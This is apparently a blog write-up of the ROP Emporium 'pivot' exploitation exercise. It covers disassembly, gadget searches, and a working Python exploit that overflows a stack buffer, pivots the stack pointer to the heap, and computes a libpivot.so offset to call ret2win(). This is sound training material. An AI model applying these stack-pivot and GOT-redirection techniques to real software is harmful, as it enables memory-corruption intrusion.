Post

07_pivot

ROP Emporium pivot

  • Tools: IDA Free 7.0, gdb-gef, ropper, readelf
  • Prerequistes: Stack frame
  • Download solution: main.py

Overview

“There’s only enough space for a three-link chain on the stack but you’ve been given space to stash a much larger ROP chain elsewhere. […] To “stack pivot” just means to move the stack pointer elsewhere.”

Here, we have to call the function ret2win() exported by the shared library libpivot.so. The function ret2win() is not directly imported; however, the function foothold_function() (also exported by libpivot) is. With some .got.plt shenanigans, we’ll catch the flag.

When executing the binary, it gives us an address on the heap where to pivot (changing at each execution) and wait for a first input; then, it asks for a second input.

Allocating memory on the heap

The main() function allocate 0x1000000 bytes on the heap, and add 0xffff00 bytes to the returned pointer. The result is passed as argument to the function pwnme():

1
2
3
4
5
6
7
8
9
0x00000000004009EE    mov     edi, 1000000h   ; size
0x00000000004009F3    call    _malloc
0x00000000004009F8    mov     [rbp+pHeap_1], rax
0x00000000004009FC    mov     rax, [rbp+pHeap_1]
0x0000000000400A00    add     rax, 0FFFF00h
0x0000000000400A06    mov     [rbp+pHeap_2], rax
0x0000000000400A0A    mov     rax, [rbp+pHeap_2]
0x0000000000400A0E    mov     rdi, rax
0x0000000000400A11    call    pwnme

Function pwnme()

The first input is stored on the heap, while the second input is stored on the stack:

1
2
3
4
5
6
7
8
9
10
11
0x0000000000400A96    mov     rdx, cs:stdin@@GLIBC_2_2_5 ; stream
0x0000000000400A9D    mov     rax, [rbp+pHeap_2]
0x0000000000400AA1    mov     esi, 100h       ; n
0x0000000000400AA6    mov     rdi, rax        ; s
0x0000000000400AA9    call    _fgets
[...]
0x0000000000400AC7    mov     rdx, cs:stdin@@GLIBC_2_2_5 ; stream
0x0000000000400ACE    lea     rax, [rbp+s]
0x0000000000400AD2    mov     esi, 40h        ; n
0x0000000000400AD7    mov     rdi, rax        ; s
0x0000000000400ADA    call    _fgets

Also, the stack buffer is 0x20 bytes long but we can send up to 0x40 bytes to it. Looking at the stack when we reach the ret instruction at end of the function pwnme() (offset 0x0AE1), we see the heap pointer stored on the stack frame of the caller:

1
2
3
0x00007fffffffe1e8: 0x0000000000400a16 ; <main+128>
0x00007fffffffe1f0: 0x00007ffff7beaf10 ; 0x0000000a61616161 <- pHeap_2
0x00007fffffffe1f8: 0x00007ffff6beb010 ; 0x0000000000000000 <- pHeap_1

Hence my first idea was to return to a pop rsp gadget, thinking I could have a direct pivot to the heap. However, _fgets() add a 0x0A byte at the end of the input and it screwed up everything. The slightly different strategy was to retrieve the pivot address returned by the nice printf() (the string “The Old Gods kindly bestow upon you a place to pivot”…), and to put this value at the end of the stack buffer. Because fuck you _fgets().

Step 1: searching a pivot

Because we’ll force the pivot value on the stack frame of the caller, we can search a pop rsp gadget:

1
2
3
ropper --search "pop ?sp" -f pivot
[...]
0x0000000000400b6d: pop rsp; pop r13; pop r14; pop r15; ret;

We find one. There are more pop instruction than needed, but that’s not a problem: after the first instruction, RSP will point to the heap buffer.

So, let’s fill the stack as usual and hijack RIP to the pivot gadget:

1
2
3
4
5
6
7
\x41\x41\x41\x41\x41\x41\x41\x41  <-+ buffer start 
\x41\x41\x41\x41\x41\x41\x41\x41    |
\x41\x41\x41\x41\x41\x41\x41\x41    |
\x41\x41\x41\x41\x41\x41\x41\x41  <-+ buffer end
\x42\x42\x42\x42\x42\x42\x42\x42  <-- saved RSP 
\x6d\x0b\x40\x00\x00\x00\x00\x00  <-- RIP: ret to pivot gadget (0x00400b6d)
\x??\x??\x??\x??\x??\x??\x??\x??  <-- pivot value (caller local var)

Step 2: calling foothold_function()

Register RSP points to the new frame. However, the gadget used to do that is:

1
pop rsp; pop r13; pop r14; pop r15; ret;

This means the heap buffer needs to start with something to put inside R13, R14, and R15. After that, the ret instruction will allow us to continue the ROP chain to wherever we want. Because we will hijack the .got.plt entry of the function foothold_function(), we have to call it a first time so the entry gets filled correctly by the OS. Hence, the first part of the heap buffer will look like this:

1
2
3
4
\x43\x43\x43\x43\x43\x43\x43\x43  <-- dummy r13
\x44\x44\x44\x44\x44\x44\x44\x44  <-- dummy r14
\x45\x45\x45\x45\x45\x45\x45\x45  <-- dummy r15
\x50\x08\x40\x00\x00\x00\x00\x00  <-- _foothold_function@plt

Step 3: patching the address of foothold_function()

Once the .got_plt entry of foothold_function() is solved (pointer = 0x602048), we can retrieve it thanks to the useful gadgets kindly provided to us:

1
2
3
4
5
0x0000000000400B00    pop     rax ; 0x602048 foothold_function@got.plt
0x0000000000400B01    retn
[...]
0x0000000000400B05    mov     rax, [rax] ; foothold_function@libpivot
0x0000000000400B08    retn

A little call rax would hint us we’re on a good path to the flag, so:

1
2
3
ropper --search "call rax" -f pivot
[...]
0x000000000040098e: call rax;

Well, at this point using call rax would call foothold_function() a second time. Wouldn’t it be cool if wee could modifiy this address? Again, useful gadgets come to the rescue:

1
2
0x0000000000400B09    add     rax, rbp
0x0000000000400B0C    retn

And ropper says we can control RBP:

1
2
3
ropper --search "pop ?bp" -f pivot
[...]
0x0000000000400900: pop rbp; ret;

The last piece of information we need is the value to set in RBP. For the version of libpivot.so I have, foothold_function() is at 0x970, and ret2win() is at 0xABE. Thus: 0xABE - 0x970 = 0x14e.

Putting things together (in Python)

Retrieving the pivot and setting up the stack buffer (second requested input, but it is the first to be executed):

1
2
3
4
5
6
7
8
9
10
11
12
p = process("pivot")
hint = p.recvline_contains("pivot: ").decode("utf8")
pivot = int(hint.split(": ")[1], 16)

stack_payload = b''
stack_payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
stack_payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
stack_payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
stack_payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
stack_payload += b'\x42\x42\x42\x42\x42\x42\x42\x42'  # overwrite RSP
stack_payload += b'\x6d\x0b\x40\x00\x00\x00\x00\x00'  # overwrite RIP and pivot to heap
stack_payload += p64(pivot)  # overwrite part of main() stack frame

Adjusting the new RSP and calling ret2win() (first requested input, second to be executed):

1
2
3
4
5
6
7
8
9
10
11
12
heap_payload = b''
heap_payload += b'\x43\x43\x43\x43\x43\x43\x43\x43'  # dummy r13
heap_payload += b'\x44\x44\x44\x44\x44\x44\x44\x44'  # dummy r14
heap_payload += b'\x45\x45\x45\x45\x45\x45\x45\x45'  # dummy r15
heap_payload += b'\x50\x08\x40\x00\x00\x00\x00\x00'  # 0x400850 foothold_function@plt
heap_payload += b'\x00\x0b\x40\x00\x00\x00\x00\x00'  # pop rax; ret
heap_payload += b'\x48\x20\x60\x00\x00\x00\x00\x00'  # foothold_function@got.plt
heap_payload += b'\x05\x0b\x40\x00\x00\x00\x00\x00'  # mov rax, [rax]; ret
heap_payload += b'\x00\x09\x40\x00\x00\x00\x00\x00'  # pop rbp; ret
heap_payload += b'\x4e\x01\x00\x00\x00\x00\x00\x00'  # 0x14e = offset from foothold to ret2win
heap_payload += b'\x09\x0b\x40\x00\x00\x00\x00\x00'  # add rax, rbp; ret
heap_payload += b'\x8e\x09\x40\x00\x00\x00\x00\x00'  # call ret2win@libpivot

EOF

This post is licensed under CC BY 4.0 by the author.